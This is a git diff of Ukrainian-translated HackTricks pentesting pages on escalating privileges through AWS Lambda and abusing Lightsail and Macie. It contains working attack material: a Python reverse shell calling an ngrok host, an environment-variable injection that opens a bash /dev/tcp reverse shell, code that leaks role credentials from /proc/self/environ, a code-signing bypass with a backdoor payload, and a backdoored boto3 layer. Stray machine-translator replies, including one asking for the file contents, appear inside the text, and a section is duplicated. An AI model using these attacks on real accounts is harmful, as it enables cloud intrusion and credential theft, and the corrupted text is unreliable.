[https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) - -{{#include ../../../banners/hacktricks-training.md}} - - - - -### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Обхід підписування коду для Lambda - -Якщо функція Lambda вимагає підписування коду, нападник, який може видалити Code Signing Config (CSC) або понизити його до Warn, може розгорнути неподписаний код у функцію. Це обходить захист цілісності без зміни IAM ролі функції або її тригерів. - -Permissions (one of): -- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` -- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` - -Примітки: -- Для Path B вам не потрібен профіль AWS Signer, якщо політика CSC встановлена на `WARN` (дозволені неподписані артефакти). - -Steps (REGION=us-east-1, TARGET_FN=): - -Підготуйте невеликий payload: -```bash -cat > handler.py <<'PY' -import os, json -def lambda_handler(event, context): -return {"pwn": True, "env": list(os.environ)[:6]} -PY -zip backdoor.zip handler.py -``` -Path A) Видалити CSC, потім оновити код: -```bash -aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 -if [ "$HAS_CSC" -eq 1 ]; then -aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION -fi -aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION -# If the handler name changed, also run: -aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION -``` -Шлях B) Знизити до Warn і оновити код (якщо delete не дозволено): -```bash -CSC_ARN=$(aws lambda create-code-signing-config \ ---description ht-warn-csc \ ---code-signing-policies UntrustedArtifactOnDeployment=WARN \ ---query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION) -aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION -aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION -# If the handler name changed, also run: -aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION -``` -Підтверджую: я перекладу релевантний англійський текст файлу src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md українською, зберігаючи точно ту ж саму markdown та HTML синтакси. Не перекладатиму: -- код, -- імена технік і загальні hacking-слова, -- назви платформ/сервісів (наприклад aws, gcp, Workspace), -- слова "leak", "pentesting", -- посилання, шляхи та ref/теги типу {#tabs}, {#ref} і т. ін. - -Також не додаватиму жодного зайвого вмісту поза перекладом. -```bash -aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null -cat /tmp/out.json -``` -Потенційний вплив: Здатність завантажувати та виконувати довільний непідписаний код у функції, яка мала забезпечувати виконання лише підписаних розгортань, що може призвести до виконання коду з дозволами ролі функції. - -Очищення: -```bash -aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true -``` - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md new file mode 100644 index 000000000..f9b4b2249 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md @@ -0,0 +1,317 @@ +# AWS - Lambda Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## lambda + +Детальніше про lambda в: + +{{#ref}} +../../aws-services/aws-lambda-enum.md +{{#endref}} + +### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) + +Користувачі з правами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:InvokeFunction`** можуть підвищити свої привілеї.\ +Вони можуть **створити нову Lambda-функцію та призначити їй існуючу IAM роль**, надавши функції права, пов'язані з цією роллю. Потім користувач може **написати й завантажити код у цю Lambda-функцію (наприклад, з rev shell)**.\ +Коли функція налаштована, користувач може **запустити її виконання** та виконати потрібні дії, викликаючи Lambda-функцію через AWS API. Такий підхід фактично дозволяє користувачеві виконувати завдання опосередковано через Lambda-функцію, діючи з рівнем доступу, наданим пов'язаній з нею IAM ролі.\\ + +Зловмисник може зловживати цим, щоб отримати **rev shell і вкрасти токен**: +```python:rev.py +import socket,subprocess,os,time +def lambda_handler(event, context): +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 +``` + +```bash +# Zip the rev shell +zip "rev.zip" "rev.py" + +# Create the function +aws lambda create-function --function-name my_function \ +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip + +# Invoke the function +aws lambda invoke --function-name my_function output.txt +## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL + +# List roles +aws iam list-attached-user-policies --user-name +``` +Ви також можете **abuse the lambda role permissions** безпосередньо з самої lambda function.\ +Якщо lambda role мав би достатні permissions, ви могли б використати його, щоб надати собі admin права: +```python +import boto3 +def lambda_handler(event, context): +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response +``` +Також можна leak the lambda's role credentials без необхідності зовнішнього з'єднання. Це буде корисно для **Network isolated Lambdas**, що виконують внутрішні завдання. Якщо невідомі security groups фільтрують ваші reverse shells, цей фрагмент коду дозволить вам безпосередньо leak the credentials як вивід lambda. +```python +def handler(event, context): +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} +``` + +```bash +aws lambda invoke --function-name output.txt +cat output.txt +``` +**Potential Impact:** Пряме privesc до довільної вказаної ролі сервісу lambda. + +> [!CAUTION] +> Зауважте, що навіть якщо це може виглядати цікаво, **`lambda:InvokeAsync`** **не** дозволяє самостійно **виконати `aws lambda invoke-async`**, вам також потрібен `lambda:InvokeFunction` + +### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` + +Як і в попередньому сценарії, ви можете надати собі дозвіл **`lambda:InvokeFunction`**, якщо у вас є дозвіл **`lambda:AddPermission`** +```bash +# Check the previous exploit and use the following line to grant you the invoke permissions +aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +``` +**Можливий вплив:** Direct privesc до довільної IAM ролі сервісу lambda, вказаної вами. + +### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` + +Користувачі з **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** дозволами (та можливо `dynamodb:PutItem` і `dynamodb:CreateTable`) можуть опосередковано **escalate privileges** навіть без `lambda:InvokeFunction`.\ +Вони можуть створити **Lambda function with malicious code and assign it an existing IAM role**. + +Замість того, щоб напряму викликати Lambda, користувач налаштовує або використовує наявну таблицю DynamoDB, пов’язуючи її з Lambda через event source mapping. Ця конфігурація гарантує, що Lambda function буде **автоматично викликатися при появі нового елемента** у таблиці, або внаслідок дії користувача, або іншого процесу, тим самим опосередковано викликаючи Lambda function і виконуючи код з правами переданої IAM ролі. +```bash +aws lambda create-function --function-name my_function \ +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip +``` +Якщо DynamoDB уже активний в AWS-середовищі, користувачу лише **потрібно налаштувати event source mapping** для Lambda-функції. Однак, якщо DynamoDB не використовується, користувач повинен **створити нову таблицю** з увімкненим стрімінгом: +```bash +aws dynamodb create-table --table-name my_table \ +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +``` +Тепер можна **підключити функцію Lambda до таблиці DynamoDB** шляхом **створення event source mapping**: +```bash +aws lambda create-event-source-mapping --function-name my_function \ +--event-source-arn \ +--enabled --starting-position LATEST +``` +Якщо Lambda-функція пов'язана з DynamoDB stream, зловмисник може **непрямо запустити Lambda, активувавши DynamoDB stream**. Це можна зробити, **додавши запис у таблицю DynamoDB**: +```bash +aws dynamodb put-item --table-name my_table \ +--item Test={S="Random string"} +``` +**Potential Impact:** Пряме privesc до вказаної службової ролі lambda. + +### `lambda:AddPermission` + +Атакувальник з цим дозволом може **надавати собі (або іншим) будь-які дозволи** (це створює ресурсні політики для надання доступу до ресурсу): +```bash +# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) +aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: + +# Invoke the function +aws lambda invoke --function-name /tmp/outout +``` +**Potential Impact:** Прямий privesc до ролі сервісу lambda шляхом надання дозволу змінювати код і запускати його. + +### `lambda:AddLayerVersionPermission` + +Зловмисник, який має цей дозвіл, може **наділити себе (або інших) дозволом `lambda:GetLayerVersion`**. Він може отримати доступ до layer і шукати вразливості або конфіденційну інформацію +```bash +# Give everyone the permission lambda:GetLayerVersion +aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion +``` +**Потенційний вплив:** Можливий доступ до конфіденційної інформації. + +### `lambda:UpdateFunctionCode` + +Користувачі, які мають дозволи **`lambda:UpdateFunctionCode`**, можуть **змінити код існуючої функції Lambda, пов'язаної з роллю IAM.**\ +Атакувальник може **змінити код Lambda, щоб exfiltrate облікові дані IAM**. + +Хоча атакувальник може не мати прямої можливості викликати функцію, якщо функція Lambda вже існує й працює, ймовірно, вона буде запускатися через існуючі робочі процеси або події, тим самим опосередковано сприяючи виконанню зміненого коду. +```bash +# The zip should contain the lambda code (trick: Download the current one and add your code there) +aws lambda update-function-code --function-name target_function \ +--zip-file fileb:///my/lambda/code/zipped.zip + +# If you have invoke permissions: +aws lambda invoke --function-name my_function output.txt + +# If not check if it's exposed in any URL or via an API gateway you could access +``` +**Potential Impact:** Прямий privesc до ролі сервісу lambda, що використовується. + +### `lambda:UpdateFunctionConfiguration` + +#### RCE через змінні оточення + +Маючи ці дозволи, можна додати змінні оточення, які спричинять виконання довільного коду в Lambda. Наприклад, у python можна зловживати змінними оточення `PYTHONWARNING` і `BROWSER`, щоб змусити процес python виконати довільні команди: +```bash +aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" +``` +Для інших скриптових мов існують інші env variables, які ви можете використовувати. Для отримання додаткової інформації перегляньте підрозділи про скриптові мови в: + +{{#ref}} +https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html +{{#endref}} + +#### RCE через Lambda Layers + +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) дозволяє включати **code** у вашу Lambda function, але **зберігати його окремо**, тож function code може залишатися невеликим і **кілька функцій можуть спільно використовувати code**. + +Всередині Lambda ви можете перевірити шляхи, звідки завантажується python code за допомогою функції, схожої на наведену нижче: +```python +import json +import sys + +def lambda_handler(event, context): +print(json.dumps(sys.path, indent=2)) +``` +Це місця: + +1. /var/task +2. /opt/python/lib/python3.7/site-packages +3. /opt/python +4. /var/runtime +5. /var/lang/lib/python37.zip +6. /var/lang/lib/python3.7 +7. /var/lang/lib/python3.7/lib-dynload +8. /var/lang/lib/python3.7/site-packages +9. /opt/python/lib/python3.7/site-packages +10. /opt/python + +For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). + +#### Експлуатація + +Можна зловживати дозволом `lambda:UpdateFunctionConfiguration`, щоб **додати новий layer** до функції lambda. Щоб виконати довільний код, цей layer має містити якусь **бібліотеку, яку lambda буде імпортувати.** Якщо ви можете прочитати код lambda, ви можете легко це знайти; також зауважте, що можливо lambda **вже використовує layer**, і ви могли б **завантажити** цей layer та **додати свій код** у нього. + +Наприклад, припустимо, що lambda використовує бібліотеку boto3 — це створить локальний layer з останньою версією бібліотеки: +```bash +pip3 install -t ./lambda_layer boto3 +``` +Ви можете відкрити `./lambda_layer/boto3/__init__.py` і **додати backdoor у глобальний код** (наприклад функцію для exfiltrate credentials або для отримання reverse shell). + +Потім заархівуйте директорію `./lambda_layer` і **завантажте новий lambda layer** у власний акаунт (або в акаунт жертви, але у вас може не бути дозволів на це).\ +Зверніть увагу, що потрібно створити папку python і помістити туди бібліотеки, щоб перевизначити /opt/python/boto3. Також layer має бути **compatible with the python version**, яку використовує lambda, і якщо ви завантажуєте його у свій акаунт, він має бути в **same region:** +```bash +aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" +``` +Тепер зробіть завантажений lambda layer **доступним для будь-якого облікового запису**: +```bash +aws lambda add-layer-version-permission --layer-name boto3 \ +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * +``` +І прикріпіть lambda layer до victim lambda function: +```bash +aws lambda update-function-configuration \ +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells +``` +Наступним кроком було б або самостійно **викликати функцію**, якщо це можливо, або дочекатися, поки вона **буде викликана** звичним шляхом — що є безпечнішим методом. + +Більш прихований спосіб експлуатації цієї вразливості можна знайти в: + +{{#ref}} +../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +{{#endref}} + +**Potential Impact:** Прямий privesc до ролі сервісу lambda, яка використовується. + +### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` + +Можливо, з такими дозволами ви зможете створити функцію і виконати її, викликавши URL... але я не знайшов спосіб її протестувати, тож дайте знати, якщо вдасться! + +### Lambda MitM + +Деякі lambdas будуть **отримувати від користувачів конфіденційну інформацію в параметрах.** Якщо отримати RCE в одній з них, можна ексфільтрувати інформацію, яку інші користувачі надсилають їй, див. в: + +{{#ref}} +../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +{{#endref}} + +## Посилання + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing + +Якщо Lambda-функція примусово використовує code signing, нападник, який може видалити Code Signing Config (CSC) або понизити його до Warn, може розгорнути unsigned код у функцію. Це обходить засоби захисту цілісності без зміни IAM role функції або її triggers. + +Дозволи (один із): +- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` +- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` + +Примітки: +- Для Path B не потрібен AWS Signer profile, якщо політика CSC встановлена в `WARN` (unsigned artifacts allowed). + +Кроки (REGION=us-east-1, TARGET_FN=): + +Підготуйте невеликий payload: +```bash +cat > handler.py <<'PY' +import os, json +def lambda_handler(event, context): +return {"pwn": True, "env": list(os.environ)[:6]} +PY +zip backdoor.zip handler.py +``` +Шлях A) Видалити CSC, потім оновити код: +```bash +aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 +if [ "$HAS_CSC" -eq 1 ]; then +aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION +fi +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION +# If the handler name changed, also run: +aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION +``` +Шлях B) Понизити до Warn та оновити код (якщо delete не дозволено): +```bash +CSC_ARN=$(aws lambda create-code-signing-config \ +--description ht-warn-csc \ +--code-signing-policies UntrustedArtifactOnDeployment=WARN \ +--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION) +aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION +# If the handler name changed, also run: +aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION +``` +Я не маю вмісту файлу. Будь ласка, вставте вміст src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md, і я перекладу його українською відповідно до ваших правил. +```bash +aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null +cat /tmp/out.json +``` +Потенційний вплив: Можливість завантажити та виконати довільний unsigned code у функції, яка мала забезпечувати signed deployments, що потенційно призводить до виконання code з правами ролі функції. + +Очищення: +```bash +aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true +``` + diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md deleted file mode 100644 index 39615019d..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - Lightsail Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Для отримання додаткової інформації про Lightsail перегляньте: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -> [!WARNING] -> Важливо зазначити, що Lightsail **не використовує IAM ролі, що належать користувачу**, а належать керованому обліковому запису AWS, тому ви не можете зловживати цим сервісом для підвищення привілеїв. Однак, **чутливі дані**, такі як код, API ключі та інформація про бази даних, можуть бути знайдені в цьому сервісі. - -### `lightsail:DownloadDefaultKeyPair` - -Ця дозволена дія дозволить вам отримати SSH ключі для доступу до інстансів: -``` -aws lightsail download-default-key-pair -``` -**Потенційний вплив:** Знайти чутливу інформацію всередині інстансів. - -### `lightsail:GetInstanceAccessDetails` - -Ця дозволена дія дозволить вам генерувати SSH-ключі для доступу до інстансів: -```bash -aws lightsail get-instance-access-details --instance-name -``` -**Потенційний вплив:** Знайти чутливу інформацію всередині інстансів. - -### `lightsail:CreateBucketAccessKey` - -Ця дозволена дія дозволить вам отримати ключ для доступу до бакету: -```bash -aws lightsail create-bucket-access-key --bucket-name -``` -**Потенційний вплив:** Знайти чутливу інформацію всередині бакету. - -### `lightsail:GetRelationalDatabaseMasterUserPassword` - -Ця дозволяє отримати облікові дані для доступу до бази даних: -```bash -aws lightsail get-relational-database-master-user-password --relational-database-name -``` -**Потенційний вплив:** Знайти чутливу інформацію в базі даних. - -### `lightsail:UpdateRelationalDatabase` - -Ця дозволена дія дозволить вам змінити пароль для доступу до бази даних: -```bash -aws lightsail update-relational-database --relational-database-name --master-user-password -``` -Якщо база даних не є публічною, ви також можете зробити її публічною з цими дозволами з -```bash -aws lightsail update-relational-database --relational-database-name --publicly-accessible -``` -**Потенційний вплив:** Знайти чутливу інформацію в базі даних. - -### `lightsail:OpenInstancePublicPorts` - -Ця дозволяє відкривати порти для Інтернету. -```bash -aws lightsail open-instance-public-ports \ ---instance-name MEAN-2 \ ---port-info fromPort=22,protocol=TCP,toPort=22 -``` -**Потенційний вплив:** Доступ до чутливих портів. - -### `lightsail:PutInstancePublicPorts` - -Ця дозволяє відкривати порти для Інтернету. Зверніть увагу, що виклик закриє будь-який порт, який не вказано в ньому. -```bash -aws lightsail put-instance-public-ports \ ---instance-name MEAN-2 \ ---port-infos fromPort=22,protocol=TCP,toPort=22 -``` -**Потенційний вплив:** Доступ до чутливих портів. - -### `lightsail:SetResourceAccessForBucket` - -Ця дозволяє надати екземплярам доступ до кошика без додаткових облікових даних. -```bash -aws set-resource-access-for-bucket \ ---resource-name \ ---bucket-name \ ---access allow -``` -**Потенційний вплив:** Потенційний новий доступ до бакетів з чутливою інформацією. - -### `lightsail:UpdateBucket` - -З цією дозволом зловмисник може надати своєму обліковому запису AWS доступ на читання до бакетів або навіть зробити бакети загальнодоступними для всіх: -```bash -# Grant read access to exterenal account -aws update-bucket --bucket-name --readonly-access-accounts - -# Grant read to the public -aws update-bucket --bucket-name --access-rules getObject=public,allowPublicOverrides=true - -# Bucket private but single objects can be public -aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true -``` -**Потенційний вплив:** Потенційний новий доступ до бакетів з чутливою інформацією. - -### `lightsail:UpdateContainerService` - -З цими правами атакуючий може надати доступ до приватних ECR з сервісу контейнерів. -```bash -aws update-container-service \ ---service-name \ ---private-registry-access ecrImagePullerRole={isActive=boolean} -``` -**Потенційний вплив:** Отримати чутливу інформацію з приватного ECR - -### `lightsail:CreateDomainEntry` - -Зловмисник з цим дозволом може створити піддомен і вказати його на свою власну IP-адресу (взяття піддомену під контроль), або створити SPF запис, який дозволяє йому підробляти електронні листи з домену, або навіть вказати основний домен на свою власну IP-адресу. -```bash -aws lightsail create-domain-entry \ ---domain-name example.com \ ---domain-entry name=dev.example.com,type=A,target=192.0.2.0 -``` -**Потенційний вплив:** Захоплення домену - -### `lightsail:UpdateDomainEntry` - -Зловмисник з цим дозволом може створити піддомен і вказати його на свою власну IP-адресу (захоплення піддомену), або створити SPF запис, який дозволяє йому підробляти електронні листи з домену, або навіть встановити основний домен на свою власну IP-адресу. -```bash -aws lightsail update-domain-entry \ ---domain-name example.com \ ---domain-entry name=dev.example.com,type=A,target=192.0.2.0 -``` -**Потенційний вплив:** Захоплення домену - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md new file mode 100644 index 000000000..51e2414a2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md @@ -0,0 +1,136 @@ +# AWS - Lightsail Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Детальніше про Lightsail дивіться: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +> [!WARNING] +> Важливо зауважити, що Lightsail **не використовує IAM ролі, що належать користувачу**, а натомість використовує обліковий запис, керований AWS, тому ви не можете зловживати цим сервісом для privesc. Однак у цьому сервісі можна знайти **чутливі дані**, такі як код, API keys та інформацію про бази даних. + +### `lightsail:DownloadDefaultKeyPair` + +Цей дозвіл дозволить вам отримати SSH keys для доступу до інстансів: +``` +aws lightsail download-default-key-pair +``` +**Потенційний вплив:** Знайти конфіденційну інформацію всередині інстансів. + +### `lightsail:GetInstanceAccessDetails` + +Цей дозвіл дозволить вам згенерувати SSH keys для доступу до інстансів: +```bash +aws lightsail get-instance-access-details --instance-name +``` +**Потенційний вплив:** Знайти конфіденційну інформацію всередині інстансів. + +### `lightsail:CreateBucketAccessKey` + +Цей дозвіл дозволить отримати ключ для доступу до bucket: +```bash +aws lightsail create-bucket-access-key --bucket-name +``` +**Potential Impact:** Знайти чутливу інформацію всередині bucket. + +### `lightsail:GetRelationalDatabaseMasterUserPassword` + +Цей дозвіл дозволяє отримати облікові дані для доступу до бази даних: +```bash +aws lightsail get-relational-database-master-user-password --relational-database-name +``` +**Можливий вплив:** Знайти конфіденційну інформацію в базі даних. + +### `lightsail:UpdateRelationalDatabase` + +Цей дозвіл дозволяє змінити пароль для доступу до бази даних: +```bash +aws lightsail update-relational-database --relational-database-name --master-user-password +``` +Якщо база даних не є публічною, ви також можете зробити її публічною за допомогою цих дозволів. +```bash +aws lightsail update-relational-database --relational-database-name --publicly-accessible +``` +**Потенційний вплив:** Знайти чутливу інформацію в базі даних. + +### `lightsail:OpenInstancePublicPorts` + +Цей дозвіл дозволяє відкривати порти для доступу з Інтернету. +```bash +aws lightsail open-instance-public-ports \ +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 +``` +**Потенційний вплив:** Доступ до чутливих портів. + +### `lightsail:PutInstancePublicPorts` + +Цей дозвіл дозволяє відкривати порти в Інтернеті. Зверніть увагу, що виклик закриє будь-який відкритий порт, який у ньому не вказано. +```bash +aws lightsail put-instance-public-ports \ +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 +``` +**Potential Impact:** Доступ до чутливих портів. + +### `lightsail:SetResourceAccessForBucket` + +Цей дозвіл дозволяє надати інстансу доступ до бакету без додаткових облікових даних +```bash +aws set-resource-access-for-bucket \ +--resource-name \ +--bucket-name \ +--access allow +``` +**Можливий вплив:** Можливий новий доступ до buckets з чутливою інформацією. + +### `lightsail:UpdateBucket` + +Маючи цей дозвіл, зловмисник може надати власному обліковому запису AWS доступ на читання до buckets або навіть зробити buckets публічними для всіх: +```bash +# Grant read access to exterenal account +aws update-bucket --bucket-name --readonly-access-accounts + +# Grant read to the public +aws update-bucket --bucket-name --access-rules getObject=public,allowPublicOverrides=true + +# Bucket private but single objects can be public +aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true +``` +**Потенційний вплив:** Можливий новий доступ до buckets, що містять чутливу інформацію. + +### `lightsail:UpdateContainerService` + +Маючи цей дозвіл, зловмисник може надати доступ до приватних ECRs із сервісу контейнерів. +```bash +aws update-container-service \ +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} +``` +**Можливий вплив:** Отримати конфіденційну інформацію з приватного ECR + +### `lightsail:CreateDomainEntry` + +Зловмисник з цим дозволом може створити піддомен і вказати його на власний IP address (subdomain takeover), або створити SPF record, який дозволить йому підробляти електронні листи з цього домену, або навіть вказати головний домен на свій власний IP address. +```bash +aws lightsail create-domain-entry \ +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 +``` +**Можливий вплив:** Takeover a domain + +### `lightsail:UpdateDomainEntry` + +Зловмисник із цим дозволом може створити subdomain і вказати його на свою IP-адресу (subdomain takeover), або сформувати SPF record, який дозволить йому spoof emails з домену, або навіть перенаправити основний домен на свою IP-адресу. +```bash +aws lightsail update-domain-entry \ +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 +``` +**Потенційний вплив:** Захоплення домену + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md deleted file mode 100644 index 3d7967718..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - Macie Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Macie - -Для отримання додаткової інформації про Macie перегляньте: - -{{#ref}} -../aws-services/aws-macie-enum.md -{{#endref}} - -### Amazon Macie - Обхід перевірки цілісності `Reveal Sample` - -AWS Macie - це сервіс безпеки, який автоматично виявляє чутливі дані в середовищах AWS, такі як облікові дані, особисто ідентифікована інформація (PII) та інші конфіденційні дані. Коли Macie виявляє чутливі облікові дані, такі як секретний ключ AWS, збережений у S3 бакеті, він генерує висновок, який дозволяє власнику переглянути "зразок" виявлених даних. Зазвичай, після видалення чутливого файлу з S3 бакету очікується, що секрет більше не може бути отриманий. - -Однак було виявлено **обхід**, при якому зловмисник з достатніми правами може **завантажити файл з тією ж назвою**, але з різними, не чутливими даними. Це призводить до того, що Macie асоціює новозавантажений файл з оригінальним висновком, що дозволяє зловмиснику використовувати **функцію "Reveal Sample"** для витягування раніше виявленого секрету. Ця проблема становить значний ризик для безпеки, оскільки секрети, які вважалися видаленими, залишаються доступними через цей метод. - -![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) - -**Кроки для відтворення:** - -1. Завантажте файл (наприклад, `test-secret.txt`) до S3 бакету з чутливими даними, такими як секретний ключ AWS. Дочекайтеся, поки AWS Macie просканує та згенерує висновок. - -2. Перейдіть до висновків AWS Macie, знайдіть згенерований висновок і використайте функцію **Reveal Sample**, щоб переглянути виявлений секрет. - -3. Видаліть `test-secret.txt` з S3 бакету та перевірте, що його більше не існує. - -4. Створіть новий файл з назвою `test-secret.txt` з фальшивими даними та повторно завантажте його до того ж S3 бакету, використовуючи **обліковий запис зловмисника**. - -5. Поверніться до висновків AWS Macie, отримайте доступ до оригінального висновку та знову натисніть **Reveal Sample**. - -6. Спостерігайте, що Macie все ще розкриває оригінальний секрет, незважаючи на те, що файл був видалений і замінений на інший контент **з різних облікових записів, у нашому випадку це буде обліковий запис зловмисника**. - -**Резюме:** - -Ця вразливість дозволяє зловмиснику з достатніми правами AWS IAM відновлювати раніше виявлені секрети, навіть після того, як оригінальний файл був видалений з S3. Якщо секретний ключ AWS, токен доступу або інші чутливі облікові дані будуть розкриті, зловмисник може скористатися цим недоліком, щоб отримати їх і отримати несанкціонований доступ до ресурсів AWS. Це може призвести до ескалації привілеїв, несанкціонованого доступу до даних або подальшого компрометації хмарних активів, що призведе до витоків даних і збоїв у роботі 